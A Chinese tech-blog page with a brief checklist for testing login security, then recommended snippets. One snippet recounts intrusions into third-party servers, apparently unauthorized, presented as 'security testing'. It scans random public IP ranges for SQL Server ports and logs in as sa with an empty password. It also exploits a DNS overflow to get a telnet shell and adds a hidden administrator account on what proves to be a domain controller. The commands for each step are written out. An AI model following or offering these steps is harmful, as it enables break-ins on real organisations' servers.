安全性测试:以用户登录为例

       安全性测试包括很多方面,安全性测试的工具又有很多,其中以AppScan最为全面,他几乎涵盖了所有安全测试的问题,并且能够生成一个安全测试报告。

      以用户登录为例,安全测试需要注意哪些方面:

密码问题:

  1.       验证储存在后台的用户密码是否加密。
  2. 验证用户密码在网络中传输是否加密。
  3. 验证用户面是否具有时效性,到期后是否提示用户更改密码。
  4. 验证密码输入框是否支持复制和粘贴
  5. 验证用户密码

用户登录:

  1.    没有登陆的前提之下,在浏览器的地址栏中直接输入登录后的URL地址,判断一下是否跳转到用户登录界面。
  2. 当密码输入框中,输入用户密码后,能否在页面源码模式下查看。
  3. 同一个用户已经登录后,在其他PC端或手机登录之后,是否互斥。
  4. 同一用户在多台终端的浏览器上登录,验证登录的互斥性。
  5. 验证同一用户多次登录失败情况下,验证系统是否会组织后续的登录以应对暴力破解密码。

用户攻击:

  1. 用户名和密码输入框中输入“SQL注入攻击”字符串,验证系统返回页面
  2. 用户名和密码输入框中输入“跨站脚本攻击”字符串,验证系统的行为是否被篡改。

 

  • 7
    点赞
  • 56
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
企业服务器安全性测试 SQL Server弱口令测试对于企业而言,服务器的重要性是不言而喻的。因此管理员们往往以 维持服务器的稳定、高效地运行作为自己的工作目标,但是对于服务器的安全性往往考 虑得较少,至少对于某些管理员是这样的。   最近笔者进行了两例服务器的安全测试,下面把这两例测试过程写下来,希望对大 家有所启示。   测试工具:   1.S扫描器(一种速度极快的多线程命令行下的扫描工具)   2.SQL登陆器   3.DNS溢出工具   4.cmd(微软命令行工具)   4.scansql.exe(SQL弱口令扫描工具)   一、SQL Server弱口令测试   1.缘由:   SQL Server是很多中小型企业、事业单位的首选数据库系统,由于一些管理员的疏忽或者安 全意识淡薄,总是以数据库默认的用户SA登录数据库,并且采用了默认的空密码或者设 置了若口令。   2.测试:   以笔者本机IP为中心,随机选取了一个IP段进行测试。   第一步:在命令提示符下运行s扫描器,输入一个IP段: s syn 61.178.*.1 61.178.*.254 1433 扫描到13个开了1433端口的服务器。(图1)   第二步:把扫描结果保存为一个文本文件,然后用scansql.exe工具对这些IP进行若 口令检测,检测到2个弱口令的IP。然后打开SQL连接器,输入其中一个若口令I,账户" sa"空密码连接成功如图2。然后敲命令"dir c:",可以执行,如图3。这样就等于获得了一个具有system权限的shell(比管理员权限 还高!),至此这台数据库服务器沦陷。(图2)(图3)   总结:虽然从上面这个IP段得到的存在SQL弱口令的服务器并不多,但如果存在弱口 令并且被攻击者利用,那对数据库服务器的打击将是毁灭性的,管理员们一定要加固数 据库的口令。 .   二、DNS溢出测试   1.缘由:   DNS溢出漏洞是去年微软的一个高危漏洞,攻击者通过该漏洞可以溢出 获得一个shell,进而控制这台服务器。一年过去了,还有存在该漏洞的服务器吗?   2.测试:   笔者以某企业网站的IP为中心进行测试。   第一步:先看看该网站Web服务器的IP地址,打开命令提示符,敲入如下命令:pin g www.*.com,得知ip地址为:202.2##.*.196。   第二步:以202.2##.*.196为中心确定一个IP段,在命令行下用S扫描器扫描开放了 53端口(DNS端口)的服务器。对扫描结果中的IP逐个进行溢出测试,经过一次次的测试找 到了一个存在DNS溢出的IP。在命令行下敲入如下命令:dns -s 202.2##.*.196,显示如图4。(图4)   说明:服务器采用的是windows 2000,在1052端口存在DNS溢出漏洞。   第三步:继续在命令行下,敲入如下命令:dns -t2000all 202.2##.*.196 1052 显示如图5。(图5)   第四步:重新打开另外一个命令提示符,敲入命令:telnet 202.2##.*.196 1100,速度很快,返回一个shell,溢出成功。在telnet界面中敲入如下命令:net query,显示如图6,看来管理员不在线。(图6)   第五步:在Telnet命令提示符下敲入命令:net user asp$ "test" /add net localgroup administrators asp$ /add,建立一个具有管理员权限的asp$账户,密码为"test"。在本机运行"mstsc",打开 "远程桌面连接工具",输入IP地址:202.2##.*.196,用户名:asp$ 密码:test,连接 成功如图7。(图7)   第六步:打开"管理工具",发现这台主机还是一个域控制器,打开"域用户和计算机 ",域成员竟然有43511个如图8,看来这个企业的局域网的规模不小。(图8)   总结:一年前的漏洞到现在还没有打,管理员太失职了。   上面有关服务器的两例安全测试,虽是个案不具有普遍性,但其中反应出的管理员 的疏忽大意及其安全意识淡薄是不容忽视的。笔者认为,作为企业服务器稳定高效固然 重要,但安全更重要,没有了安全性其他都无从谈起。就让我们从为服务器打好补丁, 设置健壮的密码开始,全方位地打造安全的服务器。 友情提示:范文可能无法思考和涵盖全面,供参考!最好找专业人士起草或审核后使用, 感谢您的下载! ----------------------- 服务器安全测试全文共10页,当前为第1页。 服务器安全测试全文共10页,当前为第2页。 服务器安全测试全文共10页,当前为第3页。 服务器安全测试全文共10页,当前为第4页。 服务器安全测试全文共10页,当前为第5页。
好的,我会尽力回答你关于自助票务系统的软件测试问题。 首先,自助票务系统需要进行什么类型的测试? 1. 功能测试测试系统的各项功能是否正常,如购票、退票、修改订单等。 2. 性能测试测试系统的性能指标,如响应速度、并发处理能力等。 3. 兼容性测试测试系统在不同的操作系统、浏览器、设备上的兼容性。 4. 安全测试测试系统的安全性,如是否存在漏洞、是否符合相关安全标准等。 5. 可用性测试测试系统的易用性,如界面设计、操作流程等。 接下来,我们可以根据以上测试类型,分别进行具体的测试工作。 1. 功能测试: 在功能测试中,我们需要针对系统的各项功能进行测试,包括购票、退票、修改订单等。具体测试用例可以根据实际情况编写,例如: 购票: - 测试用户能否成功登录系统; - 测试用户能否正确选择目的地和出发时间; - 测试用户能否成功选座购票; - 测试用户能否成功支付订单; - 测试用户能否正确收到购票信息。 退票: - 测试用户能否成功登录系统; - 测试用户能否找到已购票的订单; - 测试用户能否成功申请退票; - 测试用户能否正确收到退票信息。 修改订单: - 测试用户能否成功登录系统; - 测试用户能否找到已购票的订单; - 测试用户能否成功修改订单信息; - 测试用户能否正确收到订单修改信息。 2. 性能测试: 在性能测试中,我们需要测试系统的各项性能指标,包括响应速度、并发处理能力等。具体测试用例可以根据实际情况编写,例如: 响应速度: - 测试用户在不同网络环境下,系统的响应速度; - 测试系统在高峰期的响应速度。 并发处理能力: - 测试系统能否同时处理多个用户的请求; - 测试系统在高并发情况下的处理能力。 3. 兼容性测试: 在兼容性测试中,我们需要测试系统在不同的操作系统、浏览器、设备上的兼容性。具体测试用例可以根据实际情况编写,例如: 操作系统: - 测试系统在不同操作系统下的兼容性,如Windows、MacOS、Linux等。 浏览器: - 测试系统在不同浏览器下的兼容性,如Chrome、Firefox、Safari等。 设备: - 测试系统在不同设备上的兼容性,如PC、手机、平板等。 4. 安全测试: 在安全测试中,我们需要测试系统的安全性,包括是否存在漏洞、是否符合相关安全标准等。具体测试用例可以根据实际情况编写,例如: 漏洞测试: - 测试系统是否存在常见的漏洞,如SQL注入、XSS攻击等。 安全标准测试: - 测试系统是否符合相关安全标准,如PCI DSS等。 5. 可用性测试: 在可用性测试中,我们需要测试系统的易用性,包括界面设计、操作流程等。具体测试用例可以根据实际情况编写,例如: 界面设计: - 测试系统的界面设计是否符合用户习惯; - 测试系统的界面是否简洁明了。 操作流程: - 测试系统的操作流程是否合理; - 测试系统是否提供足够的帮助信息。 以上是我对自助票务系统进行软件测试的建议,希望能对你有所帮助。如果你有其他问题,可以随时向我提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值